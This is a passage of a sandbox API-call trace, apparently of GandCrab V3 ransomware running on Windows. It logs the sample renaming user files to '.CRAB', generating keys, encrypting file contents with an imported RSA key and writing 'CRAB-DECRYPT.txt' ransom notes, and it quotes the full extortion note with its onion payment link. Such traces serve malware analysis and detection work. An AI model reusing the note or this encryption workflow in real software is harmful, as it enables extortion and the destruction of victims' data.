	[0110.010] ReadFile (in: hFile=0x3f4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314b474*=0x31000, lpOverlapped=0x0) returned 1
	[0110.052] VirtualAlloc (lpAddress=0x0, dwSize=0x31000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0110.056] VirtualAlloc (lpAddress=0x0, dwSize=0x31000, flAllocationType=0x3000, flProtect=0x4) returned 0x33a0000
	[0110.060] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.061] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffcf000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.061] WriteFile (in: hFile=0x3f4, lpBuffer=0x33a0000*, nNumberOfBytesToWrite=0x31000, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x33a0000*, lpNumberOfBytesWritten=0x314b464*=0x31000, lpOverlapped=0x0) returned 1
	[0110.061] VirtualFree (lpAddress=0x33a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.063] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.067] WriteFile (in: hFile=0x3f4, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0110.067] WriteFile (in: hFile=0x3f4, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0110.067] WriteFile (in: hFile=0x3f4, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0110.067] CloseHandle (hObject=0x3f4) returned 1
	[0110.071] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.071] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.072] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.072] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.072] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.072] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.072] FindNextFileW (in: hFindFile=0xd808e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0110.072] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0110.073] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0110.073] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\CRAB-DECRYPT.txt"
	[0110.073] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0110.073] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\CRAB-DECRYPT.txt") returned 71
	[0110.073] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\CRAB-DECRYPT.txt") returned 71
	[0110.073] lstrlenW (lpString=".txt") returned 4
	[0110.073] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.073] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0110.073] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.073] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\CRAB-DECRYPT.txt") returned 71
	[0110.073] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\CRAB-DECRYPT.txt") returned 71
	[0110.074] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0110.074] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0110.074] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0110.074] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0110.074] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0110.074] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0110.074] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0110.074] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0110.074] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0110.074] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.074] FindNextFileW (in: hFindFile=0xd808e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0110.074] lstrcmpW (lpString1="System.mdw", lpString2=".") returned 1
	[0110.074] lstrcmpW (lpString1="System.mdw", lpString2="..") returned 1
	[0110.074] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\", lpString2="System.mdw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\System.mdw") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\System.mdw"
	[0110.074] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0110.074] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\System.mdw") returned 65
	[0110.074] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\System.mdw") returned 65
	[0110.074] lstrlenW (lpString=".mdw") returned 4
	[0110.074] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.075] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mdw ") returned 5
	[0110.075] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.075] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\System.mdw") returned 65
	[0110.075] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\System.mdw") returned 65
	[0110.075] lstrcmpiW (lpString1="System.mdw", lpString2="desktop.ini") returned 1
	[0110.075] lstrcmpiW (lpString1="System.mdw", lpString2="autorun.inf") returned 1
	[0110.075] lstrcmpiW (lpString1="System.mdw", lpString2="ntuser.dat") returned 1
	[0110.075] lstrcmpiW (lpString1="System.mdw", lpString2="iconcache.db") returned 1
	[0110.075] lstrcmpiW (lpString1="System.mdw", lpString2="bootsect.bak") returned 1
	[0110.075] lstrcmpiW (lpString1="System.mdw", lpString2="boot.ini") returned 1
	[0110.075] lstrcmpiW (lpString1="System.mdw", lpString2="ntuser.dat.log") returned 1
	[0110.075] lstrcmpiW (lpString1="System.mdw", lpString2="thumbs.db") returned -1
	[0110.075] lstrcmpiW (lpString1="System.mdw", lpString2="CRAB-DECRYPT.txt") returned 1
	[0110.075] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.076] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\System.mdw.CRAB") returned 70
	[0110.076] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\System.mdw" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\access\\system.mdw")) returned 0x20
	[0110.076] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\System.mdw", dwFileAttributes=0x20) returned 1
	[0110.077] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\System.mdw" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\access\\system.mdw"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\System.mdw.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\access\\system.mdw.crab")) returned 1
	[0110.079] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0110.079] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\System.mdw.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\System.mdw.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\System.mdw.CRAB"
	[0110.079] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\System.mdw.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\System.mdw.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\System.mdw.CRAB.CRAB"
	[0110.079] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6ed98) returned 1
	[0110.080] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0110.080] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0110.081] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0110.081] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0110.081] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0110.081] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.081] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6ec00) returned 1
	[0110.082] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0110.082] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0110.082] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0110.082] CryptGenRandom (in: hProv=0xd6ec00, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0110.082] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
	[0110.082] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.083] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0110.083] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0110.083] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e6b0) returned 1
	[0110.084] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xd80b60) returned 1
	[0110.084] CryptGetKeyParam (in: hKey=0xd80b60, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0110.084] CryptEncrypt (in: hKey=0xd80b60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0110.084] GetLastError () returned 0x0
	[0110.084] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0110.084] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6eb78) returned 1
	[0110.085] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xd80c20) returned 1
	[0110.085] CryptGetKeyParam (in: hKey=0xd80c20, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0110.085] CryptEncrypt (in: hKey=0xd80c20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0110.085] GetLastError () returned 0x0
	[0110.085] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0110.085] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\System.mdw.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\access\\system.mdw.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0110.086] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0110.086] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0110.087] ReadFile (in: hFile=0x3f4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314b474*=0x1f000, lpOverlapped=0x0) returned 1
	[0110.112] VirtualAlloc (lpAddress=0x0, dwSize=0x1f000, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0110.115] VirtualAlloc (lpAddress=0x0, dwSize=0x1f000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0110.118] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.119] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffe1000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.119] WriteFile (in: hFile=0x3f4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x1f000, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314b464*=0x1f000, lpOverlapped=0x0) returned 1
	[0110.119] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.120] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.124] WriteFile (in: hFile=0x3f4, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0110.124] WriteFile (in: hFile=0x3f4, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0110.124] WriteFile (in: hFile=0x3f4, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0110.124] CloseHandle (hObject=0x3f4) returned 1
	[0110.127] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.128] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.128] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.128] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.128] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.129] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.129] FindNextFileW (in: hFindFile=0xd808e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0110.129] FindClose (in: hFindFile=0xd808e0 | out: hFindFile=0xd808e0) returned 1
	[0110.129] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0110.129] lstrcmpW (lpString1="AddIns", lpString2=".") returned 1
	[0110.129] lstrcmpW (lpString1="AddIns", lpString2="..") returned 1
	[0110.129] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="AddIns" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns"
	[0110.129] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\"
	[0110.129] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0110.129] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0110.130] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0110.130] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0110.130] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0110.130] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.133] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0110.133] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0110.133] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0110.133] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0110.133] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0110.133] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0110.133] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0110.134] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\\\CRAB-DECRYPT.txt") returned 72
	[0110.134] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\addins\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0110.135] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0110.135] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0110.136] CloseHandle (hObject=0x3f0) returned 1
	[0110.136] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.137] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\") returned 55
	[0110.137] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\*"
	[0110.137] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xd808e0
	[0110.137] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0110.137] FindNextFileW (in: hFindFile=0xd808e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0110.137] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0110.137] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0110.137] FindNextFileW (in: hFindFile=0xd808e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0110.137] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0110.137] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0110.137] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\CRAB-DECRYPT.txt"
	[0110.137] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0110.138] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\CRAB-DECRYPT.txt") returned 71
	[0110.138] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\CRAB-DECRYPT.txt") returned 71
	[0110.138] lstrlenW (lpString=".txt") returned 4
	[0110.138] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.138] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0110.138] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.138] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\CRAB-DECRYPT.txt") returned 71
	[0110.138] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\CRAB-DECRYPT.txt") returned 71
	[0110.138] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0110.138] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0110.138] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0110.138] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0110.138] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0110.138] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0110.139] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0110.139] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0110.139] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0110.139] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.139] FindNextFileW (in: hFindFile=0xd808e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0110.139] FindClose (in: hFindFile=0xd808e0 | out: hFindFile=0xd808e0) returned 1
	[0110.139] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0110.139] lstrcmpW (lpString1="Bibliography", lpString2=".") returned 1
	[0110.139] lstrcmpW (lpString1="Bibliography", lpString2="..") returned 1
